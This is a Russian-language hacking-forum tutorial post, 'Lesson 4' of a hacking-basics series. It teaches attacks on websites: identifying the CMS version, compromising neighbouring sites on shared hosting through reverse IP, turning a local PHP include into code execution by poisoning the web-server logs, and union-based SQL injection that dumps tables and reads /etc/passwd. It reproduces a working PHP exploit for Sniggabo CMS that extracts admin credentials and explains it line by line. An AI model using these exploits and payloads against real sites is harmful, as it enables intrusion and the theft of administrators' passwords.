View Single Post
  #1 Old 10-06-2014, 07:56 PM
maximg31
 
maximg31's Avatar
 
Join Date: Oct 2014
Posts: 10
Contact: maximg31@jabber
maximg31 1
Send a message via ICQ to maximg31
Post Урок Хакинга [4]

Здравствуйте уважаемые посетители портала . Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем: Методы определения версии движка сайта / форума ReversIP и полезные инструменты. Разбираем сплоит. Более углубленное знакомство с SQL injection php include Прогулка по багтракам. Методы определения версии движка Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты (т.е. не самописные) Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов расположенных на сайте ( фотогаллереи, новостные ленты и т.п.). Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают . Гораздо более эффективный вариант это посмотреть исходный код страницы . Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера). Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --]) Как думаю понятно, это текст на странице не отображается . Там как раз могут быть указаны имя версия CMS, иногда можно найти мы администрации и прочие вкусности . В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти. Да, еще можно преднамеренно вызвать ошибку . Т.е. попробовать открыть несуществующую папку на сайте (что-то типа www.site.us/gone/), вполне возможно, что сайт выплюнет полезную инфу. Ну думаю тут ясно. Теперь поговорим о форумах: Обычно, что за форум определить несложно. Сложнее узнать версию. В phpbb например есть очень интересный файлик - CHANGELOG.html Его, возможно обнаружить по пути forum/docs/ CHANGELOG.html Там можно обнаружить надпись вроде phpBBx.x.x Changelog В IPB 1.3 присутствуют файлы ssi.php show.php В В 2.0.* /sources/ help.php /sources/ usercp.php В2.1.* /ips_kernel/ PEAR/ Ну и к тому же опять же нужно смотреть на исходный код и на ошибки. Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит . Умный администратор поставить фальшивую подпись . Reverse IP и полезные инструменты. Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так. Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт, который хостится на одном сервере с целевым сайтом ( если такой имеется). Либо наша цель получить root(права администратора) на сервере. Тогда мы ищем, какие сайты хостятся на сервере и пытаемся взломать один из них . Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере . Для этого мы будем использовать сканнеры. Например, я пользуюсь вот этим онлайн сканером от madnet –a http://madnet.name/tools/ madss/ Так же он составляет примерную структуру сайта. Вот еще неплохой http://security-digger.org/ Тоже присутствует возможность составлять структуру директорий сайта , а также reverse ip. Допустим, забиваем адрес www.job.ru Сканер выдает нам соседние сайты . Если речь пошла про онлайн тулзы приведу еще одну : http://x3k.ru/ Здесь есть куча всяких кодировщиков и декодеровщиков ( пригодиться нам при инъекциях), так же есть сканер портов Reverse IP whois сервис и еще несколько. Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки. Разбираем сплоит. Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок . Если не ставил, советую установить Denwer Процесс установки прост до безобразия . В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать анализ одной CMS, так что Денвер просто необходим. Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS: Sniggabo- expl.php 14июня,2009 print_r(' ################################################ SniggaboCMS- RemoteSQL Injection Exploit Date: 11.06.2009 Vulnerability discoveredby: Lidloses_Auge Exploitcoded by: Lidloses_Auge Homepage: http:// www.novusec.com Greetzto:- =Player=-, Suicide,enco, Palme,GPM, karamble,Free- Hack AdminPanel: [target]/admin/ login.php Dork:"powered bySniggabo CMS" inurl:article.php? id Usehp'. $argv[0].' http:// www.site.com ################################################ '); $url="$argv [1]/ article.php? Id=null+union +select+concat (0x313a3a,userid,0x3a3a,password,0x3a3a) +from+users--"; $src= file_get_contents ($url); $data=split ("::",$src); echo"Admin: $data [1]nPassword: $data[2]n"; ?> Во-первых обратим внимания на эту строку: Use: php '.$argv[0].' http:// www.site.com В ней показано, как нужно использовать этот эксплоит . Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт . Далее сам код: В 1 2 3 строке мы составляем url $argv[1] – сайт, который мы передали в качестве параметра . /article.php? Id=null+union +select+concat (0x313a3a,userid,0x3a3a,password,0x3a3a)+from +users--" ; - собственно сам процесс получения логина и пароля. Далее $src= file_get_contents ($url); Обращаемся по составленному адресу и записываем результат в переменную $src $data=split ("::",$src); Разделяем полученный результат по ключевой строке “ ::” echo"Admin: $data [1]nPassword: $data[2]n"; Выводим. Если мы будем раскручивать уязвимость вручную , то результат будет таким: Login:assword В сплоите как раз по строке :: мы делим результат. В переменной первый элемент будет login а второй password. Local PHP include и выполнение произвольного кода. Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код . Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер . Так вот, значит мы сможем прочитать логи веб сервера . В логах сохраняются все запросы. Нас интересуют httpd-access.log и httpd- error.log. Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода. Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack. Итак , давайте попробуем забить в поле Referer такой код: Все код записан в httpd- access.log. Теперь нужно с помощью инклуда подгрузить его . Тут придется перебирать пути до логов . Ну допустим путь оказался таким : ../../../../../../ etc/apache2/ httpd.conf www.include.us/ index.php? page=../../../../../../ etc/apache2/ httpd.conf&cmd=ls И мы получим листинг файлов текущей директории (ls). Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка , а потом по новой. SQL injection. Особенности 5 версии mysql Что такое magic quotes Как можно читать файлы с помощью инъекций . До этого мы разбирали инъекции в mysql <5 В 5 версии есть кое-какие особенности. Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or <) В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы . Она избавит нас от ручного подбора. Реализация www.site.us/ index.php?id=1’ www.site.us/ index.php? id=1,table_name,3,4,5,6,7,8,9,10+from +INFORMATION_SCHEMA.TABLES/ * И так тут либо мы увидим все таблицы базы либо только первую . Если второе, то прочитать остальные имена можно с помощью limit: www.site.us/ index.php?id= +union+select +1,table_name,3,4,5,6,7,8,9,10+from +INFORMATION_SCHEMA.TABLES +limit1,2/* Читаем 2 запись. Так, допустим нашли таблицу. Теперь смотрим поля: www.site.us/ index.php? id=1+union +select +1,column_name,3,4,5,6,7,8,9,10+from +INFORMATION_SCHEMA.COLUMNS/ * Опять же просмотр конкретных записей: www.site.us/ index.php?id= +union+select +1,column_name,3,4,5,6,7,8,9,10+from +INFORMATION_SCHEMA.COLUMNS +limit1,2/* Ну и ищем поля типа password или login Теперь поговорим про магические кавычки (magic quotes) это процесс, который позволяет автоматически экранировать входные данные PHP скрипта. Если magic quotes=on (активны), то входящие одиночные и двойные кавычки , левый слеш и NULL знаки экранируются левыми слешами. Волшебные кавычки бывают : magic_quotes_gpc –проверяет запросыHTTP (GET,POST,и COOKIE) magic_quotes_runtime –функции, которые возвращают данныеиз внешних источников будут экранироваться левымислешами. magic_quotes_sybase –одиночные кавычки экранируются двойными Надеюсь понятно, что если magic_quotes = on нам это очень не на руку. Скоро я расскажу, как это обходить. А теперь как можно прочитать файл с помощью инъекции. Т.е. мы получим тот же локальный php include Ну допустим, есть инъект: www.site.us/ index.php?id= +union+select +1,2,3,4,5,6,7,8,9,10/ * Читабельно поле 2. Загружать файлы можно так : www.site.us/ index.php?id= +union+select +1,LOAD_FILE(‘/ etc/ passwd’),4,5,6,7,8,9,10/ * Прогулка по багтракам. В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил , что чтение багтрак лент идет только на пользу. Пожалуй приведу несколько : Русскоязычные: bugtraq.ru/ securitylab.ru/ securityvulns.ru/ Остальные: milw0rm.com packetstormsecurity.org securityfocus.com
maximg31 is offline   Reply With Quote